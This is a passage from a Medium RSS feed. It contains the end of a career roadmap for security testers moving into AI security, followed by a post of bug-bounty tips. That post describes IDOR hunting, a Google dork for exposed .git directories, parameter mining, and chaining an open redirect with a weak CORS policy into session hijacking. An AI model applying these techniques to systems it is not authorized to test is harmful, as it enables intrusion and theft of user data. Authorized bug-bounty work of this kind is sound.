hell:</strong> Watching courses without building <br>❌ <strong>Perfection paralysis:</strong> Waiting to be “ready” before applying<br> ❌ <strong>Tool collecting:</strong> Hoarding tools without using them <br>❌ <strong>Isolation:</strong> Learning alone without community<br> ❌ <strong>Spray and pray:</strong> Applying randomly without targeting <br>❌ <strong>Ghost mode:</strong> Not sharing your work publicly</p><p>✅ <strong>Do instead:</strong></p><ul><li>Build &gt; Study (60/40 ratio)</li><li>Apply early and often</li><li>Use tools in real scenarios</li><li>Engage with community daily</li><li>Target applications strategically</li><li>Share everything you learn</li></ul><h3>Emergency Pivots</h3><p><strong>If Month 3 and no traction:</strong></p><ul><li>Reassess: Is portfolio strong enough?</li><li>Get feedback: From community members</li><li>Adjust: Focus more on practical demos</li><li>Consider: Freelance to build experience</li></ul><p><strong>If Month 6 and no offers:</strong></p><ul><li>Expand: To adjacent roles (AppSec with AI, Cloud Security)</li><li>Geographic: Look at remote opportunities globally</li><li>Consulting: Build practice while continuing search</li><li>Upskill: Address specific gaps from interviews</li></ul><p><strong>If Month 9 and still searching:</strong></p><ul><li>Don’t give up: AI security hiring can be slow</li><li>Freelance: Build track record</li><li>Related role: Get into AI company in any security role</li><li>Create: Your own opportunity through consulting</li></ul><h3>Final Notes</h3><p><strong>This roadmap is aggressive but achievable.</strong> Your VAPT and reverse engineering background gives you a massive head start — you already think like an attacker and understand security fundamentals.</p><p><strong>Key success factors:</strong></p><ol><li><strong>Consistency:</strong> Show up daily, even if just 1 hour</li><li><strong>Visibility:</strong> Share your work publicly and often</li><li><strong>Quality:</strong> Better to have 2 excellent projects than 10 mediocre ones</li><li><strong>Networking:</strong> Relationships often matter more than skills alone</li><li><strong>Persistence:</strong> Most people quit after month 3 — don’t be them</li></ol><p>If you like this content please clap and share as much as possible.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=18ba5a4f69bc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Top 5 Bug Bounty Tips]]></title>
            <link>https://medium.com/@anandrishav2228/top-5-bug-bounty-tips-b01e7d765090?source=rss-f8151bc04079------2</link>
            <guid isPermaLink="false">https://medium.com/p/b01e7d765090</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[money]]></category>
            <dc:creator><![CDATA[Rishav anand]]></dc:creator>
            <pubDate>Thu, 14 Aug 2025 04:28:00 GMT</pubDate>
            <atom:updated>2025-08-14T04:28:00.032Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*JxNrI03rXbUAPSXCyEl3Cg.jpeg" /></figure><h3>Top 5 Bug Bounty Tips (With Real-World Examples)</h3><p>Bug bounty hunting can feel like looking for a needle in a haystack… except the haystack is on fire and everyone else is looking too. Whether you’re aiming for your first $50 bounty or a $5,000 critical, these five tips — with actual examples — can help you stand out from the crowd.</p><h3>1. Don’t Chase the Obvious — Go for the Forgotten</h3><p><strong>Most hunters:</strong> open Burp Suite, look for /?id=1 parameters, and spam SQLi payloads.<br> <strong>Smart hunters:</strong> find hidden or less-used features no one is testing.</p><p><strong>Example:</strong><br> On a fintech platform, most hunters hammered the login and payment APIs. One hunter decided to look at the <em>“Export Statement”</em> feature. By intercepting the request, they found an insecure direct object reference (IDOR) allowing access to other users’ bank statements — $2,500 bounty.</p><p><strong>Pro Tip:</strong></p><ul><li>Enumerate every endpoint.</li><li>Test “boring” features like CSV export, PDF generation, or archived APIs.</li></ul><h3>2. Use Google Like a Weapon</h3><p>Dorking isn’t dead — it’s just underused.</p><p><strong>Example:</strong><br> A hunter found a .git directory exposed on a startup’s staging subdomain using:</p><pre>site:*.example.com ext:git</pre><p>Inside? API keys, database creds, and hardcoded admin logins. A chain of these led to full account takeover — $4,000 bounty.</p><p><strong>Pro Tip:</strong></p><ul><li>Mix dorks with subdomain discovery tools.</li><li>Don’t just stop at site:example.com. Use inurl:, filetype:, and “index of”.</li></ul><h3>3. Master Parameter Mining</h3><p>You can’t hack what you don’t see.</p><p><strong>Example:</strong><br> Using ParamSpider + manual wordlist tweaking, a hunter found a hidden debug=true parameter in an API. Enabling it exposed stack traces, revealing AWS S3 bucket URLs — leading to a critical RCE chain.</p><p><strong>Pro Tip:</strong></p><ul><li>Tools: ParamSpider, Burp Engagement Tools, waybackurls.</li><li>Always check archived versions of a site for old params that might still work.</li></ul><h3>4. Chain Low Severity to High Impact</h3><p>Small bugs can combine into a monster exploit.</p><p><strong>Example:</strong></p><ul><li><strong>Step 1:</strong> Open redirect on a subdomain.</li><li><strong>Step 2:</strong> Weak CORS policy allowing *.example.com.</li><li><strong>Step 3:</strong> Host malicious JS on the open redirect domain.<br> Result: Full session hijack — $7,500 bounty.</li></ul><p><strong>Pro Tip:</strong><br> If you find something “meh” severity, don’t report yet — think, “What if I combine this with X?”</p><h3>5. Document Like a Pro</h3><p>A messy report = smaller bounty. A clear, reproducible report = $$$.</p><p><strong>Example:</strong><br> Two hunters found the same bug.</p><ul><li>Hunter A: “Here’s a screenshot, it’s XSS, give me bounty.”</li><li>Hunter B: Step-by-step POC with screenshots, code snippets, affected endpoints, and business impact.<br> Result? Hunter B got $1,000 more for “impact clarity.”</li></ul><p><strong>Pro Tip:</strong></p><ul><li>Include: Steps → Evidence → Impact → Fix suggestion.</li><li>Show how it affects business, not just security.</li></ul><h3>Final Words</h3><p>The game is crowded, but skill beats speed.</p><ul><li>Focus on lesser-known features.</li><li>Think like a dev who forgot to clean up after a release.</li><li>Chain small bugs.</li><li>Report like a pro.</li></ul><p><strong>Your edge isn’t just tools or payloads — it’s curiosity and creativity.</strong></p><p>Clap if you like the content.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b01e7d765090" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>